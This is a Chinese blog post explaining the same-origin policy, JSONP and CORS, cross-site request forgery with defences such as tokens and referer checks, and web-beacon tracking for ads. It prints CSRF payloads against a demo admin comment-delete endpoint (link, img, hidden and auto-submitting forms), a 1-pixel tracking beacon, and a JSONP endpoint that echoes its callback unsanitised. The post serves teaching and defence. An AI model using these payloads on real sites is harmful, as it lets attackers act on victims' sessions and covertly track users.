详情-思想者
关于跨域攻击和网络信标
发布于 2018-11-15 ,1条评论,642次浏览

本人工作中偶尔会和浏览器打交道,也遇到过一些坑,在此分享一下网页跨域访问的相关场景和知识,希望对读者有帮助。

一、什么是跨域访问

凡是与主站地址的域名、端口、协议不一致的其他请求,都可以认为是跨域访问。例如某网站的主站地址是https://www.abc.com,但网页又需要加载静态资源(地址是https://img.abc.com),这就是一种跨域访问。

二、浏览器的同源策略

所谓的同源策略是浏览器所遵循的一种安全约定。其限制了来自不同源的document或者脚本对当前的document读取或设置某些属性。具体限制如下:
跨源网络访问:AJAX请求。
跨源 DOM 访问:DOM。
跨源脚本API访问: iframe.contentWindow, window.parent, window.open 和 window.opener
如果没有这些限制,那我们就可以肆无忌惮的破坏其他网站的网页了。

三、如何进行跨域访问

跨域访问不是跨域攻击,业务上我们的确有跨域访问的需要。

1、通过标签的src或者href属性。

例如< script >、< img >、< iframe >、< link >,访问静态资源文件虽然是跨域,但不受同源策略限制,因为使用的是标签访问。src属性访问的地址是一次性的get访问,且是主站主动设置,相对安全。

2、form表单提交。

form表单提交到其他域也是被允许的。因为form提交意味着跳转到新的站点,是一个有去无回的页面跳转,不存在对原站点的脚本操作。

3、jsonp访问。

这一般是跨域访问的常用手段,jsonp可以帮助我们从另一方站点获取数据,并作用于本地站点的页面。这是本地站点开发人员的主动行为。jsonp跨域使用的是script标签的跨域功能,通过src属性访问第三方系统并获取返回数组作用于本地函数中。假设在ablog.com的页面中访问bblog.com的服务,可以在页面中写入如下代码,callback参数定义是回调函数:

     < script src="http://bblog.com:8083/remote?callback=jsonhandle"></script>               
     <script type="text/javascript">
              function jsonhandle(data){
                  alert("age:" + data.age + "name:" + data.name);
                }
      </script>

bblog.com的服务端代码如下,需要按照回调函数名+(json数据)的格式返回:

@GetMapping("/remote")
 @ResponseBody
 public String remote(HttpServletRequest request, Model model) {
              String callback=request.getParameter("callback");
              String jsonpStr = callback + "(" + "{\"age\" : 15,\"name\": \"jack\",}"+ ")";
              return jsonpStr;
        }

4、cors跨资源共享。

CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。

四、跨域攻击

跨域攻击可以理解为:诱导受害者访问非法网站,黑客利用受害者的会话信息模拟请求,以达到篡改数据的目的。由此看来,跨域攻击有几个先决条件:

1、要有页面入口,供受害者点击或者页面自动加载。

2、攻击请求可模拟,黑客对目标网站参数进行了深入的研究,从而进行模拟。

第一点的页面入口非常重要,如何在目标网站(地址:http://ablog.com:8080)植入攻击者的代码?假设目标网站有评论功能,攻击者可以将自己的代码输入到评论区,如果目标网站没有XSS防御,则会将攻击者的代码以html的方式显示在网页上,这也就完成了第一点,提供了攻击入口。例如攻击者可以在评论区输入以下内容:

 <a href="http://ablog.com:8080/admin/comments/delete?coid=39" >java速成,点我免费领取</a>

或者如下内容:

     <img src=''http://ablog.com:8080/admin/comments/delete?coid=39“></img>

以上两个标签都会请求当前服务器,从而进行删除操作。我们也发现到这两个请求都是get请求,如果服务端拒绝接受get请求,只接受post请求,是不是就没招了?毕竟标签里没法模拟post提交。但是攻击者可以模拟表单,代码如下:

 <form action="http://ablog.com:8080/admin/comments/delete" method="post">
         <input type="hidden" name="coid" value="39" />
        <input type="submit" name="button" value="java速成,点我免费领取" />
 </form>

将这段代码输入到评论区并显示,依然可以诱导受害者点击,完成post请求。攻击者也可以将更复杂的逻辑封装在自己搭建的网站中,假设黑客网站地址是http://bblog.com:8083,攻击者将参数传递给自己的服务器,实现跨域攻击,在目标网站ablog.com的评论区中留下如下代码:
java速成,点我免费领取
在黑客网站bblog.com里模拟post请求到ablog.com:

 <form action="http://ablog.com:8080/admin/comments/delete" method="post">
         <input type="hidden" name="coid" value="39" />
        <input type="submit" name="button" value="java速成,点我免费领取" />
 </form>

由于受害者在ablog.com中的会话仍然保持,这个模拟请求会带上受害者的会话信息,进行删除操作,而对于服务器端来说是无感的。在bblog.com里模拟post请求到ablog.com,为何没有被跨域拦截?上文有提到过,form表单提交是没有跨域限制的,这为跨域攻击也提供了便利。
上述攻击方式还不算隐蔽,毕竟需要受害者点击触发按钮,还需要页面跳转,太low。我们可以使用一个影藏的iframe完成攻击,使得攻击操作神不知鬼不觉。在网站ablog.com评论区中植入如下代码: form模拟提交的部分依然放在bblog.com中,使用脚本自动执行。部分代码如下:

 <script>
 function dianwoSub() {
        document.getElementById("dianwoForm").submit();
    }
 </script>
 <body onload="dianwoSub()">
    <div class="container">
        <form action="http://ablog.com:8080/admin/comments/delete" method="post" id="dianwoForm">
            <input type="hidden" name="coid" value="${coid}" />
            <input type="submit" name="button" value="点我" />
        </form>
    </div>
 </body>

在bblog.com中如果使用ajax来模拟请求攻击ablog.com会被浏览器拦截,ajax脚本如下:

 function dianwoSub() {
 $.ajax({
            type: 'post',
            url: 'http://ablog.com:8080/admin/comments/delete',
            data: $('#dianwoForm').serialize(),
            async: false,
            dataType: 'json',
            success: function (result) {
            alert(" delete ok");
            }
    });
       }

运行时,浏览器会报如下错误,即ablog和blog非同源,跨域访问被限制:

五、如何避免跨域攻击

1、网站系统一定要有xss防御。

用户的任何输入必须要经过后台的校验,如果出现非法字符一定要拦截,将代码植入入口堵死。

2、系统请求优先使用post提交。

get提交会降低攻击门槛。

3、refer来源判断。

网站系统在接受请求时,判断请求来源是否是可信任的,如果是非法的则需要拦截。

4、增加验证码校验。

在做增删改操作时,强行让用户再次与后台交互,这能很大程度上避免攻击,但是影响用户体验。

5、token校验。

用户在访问某一网页时,后端生成一个随机加密字符串放到session中,用户再次请求时携带此token,后端对比token是否正确,不正确则拦截请求。

六、网络信标

网络信标又名网络臭虫,通过植入第三方代码来收集访问者信息。例如在ablog.com网站中植入如下代码:
<img src="http://bblog.com:8083/netflag" height="1" width="1" ></img>
大小仅为一个像素,用户很难发现。凡是打开植入此代码的网页,都会访问bblog.com,bblog.com后台能够收集到如下信息:

通过以上信息,我们可以给用户设置一个唯一标记,并写入到cookie中,例如bloguser=user_127.0.0.11540367865328。后端同时将此标记以及对应信息保存到数据库中,这样可以跟踪某一特定用户的访问路径。假设一个集团公司的业务范围非常广,其信息化系统包含多个二级域名,比如注册页面是login.blog.com,充值页面是deposit.xyz.com,购物页面是shopping.abc.com等,这些域名的cookie是无法共享的,这时候可以采取网络信标的方式,在所有主页上均植入上述代码,通过第三方cookie的方式,将访问者信息全部串联起来。
网络信标的另外一种使用场景是广告推荐。百度的广告联盟就是很好的例子。我们在百度上搜索一些关键字之后,访问其他网站时(例如CSDN)会发现,为何我刚刚搜索的关键字图片会在CSDN网页上显示?那CSDN很有可能放置了百度的脚本代码。用户在百度上进行搜索之后,百度将搜索关键字写入到用户的cookie信息中,CSDN内置了百度的广告代码,这个代码会访问百度服务器,同时会带上百度之前设置的cookie,百度后台根据关键字来响应相关图片或者文字链接,达到精准投放广告的效果。
现在我们来模拟一下百度广告联盟的效果。假设bblog.com就是百度系统,我们模拟一个搜索页面,并搜索关键字“手机”:

bblog.com的后端将手机写入到cookie,key为sosuoPara:
setCookie(response,"sosuoPara",sosuoPara,60*60);
bblog.com的合作网站ablog.com内置了bblog.com广告代码:

 <div class="card mb-3">
        <div class="card-header">
          广告页
        </div>
        <div class="card-body">
        <iframe src="http://bblog.com:8083/guanggao"></iframe>
        </div>
 </div>

这段广告代码的后端逻辑是取出cookie信息,得到搜索关键字,后端进行匹配处理,返回给前端广告。这时候我们看一下ablog.com的主页广告,见如下红框位置: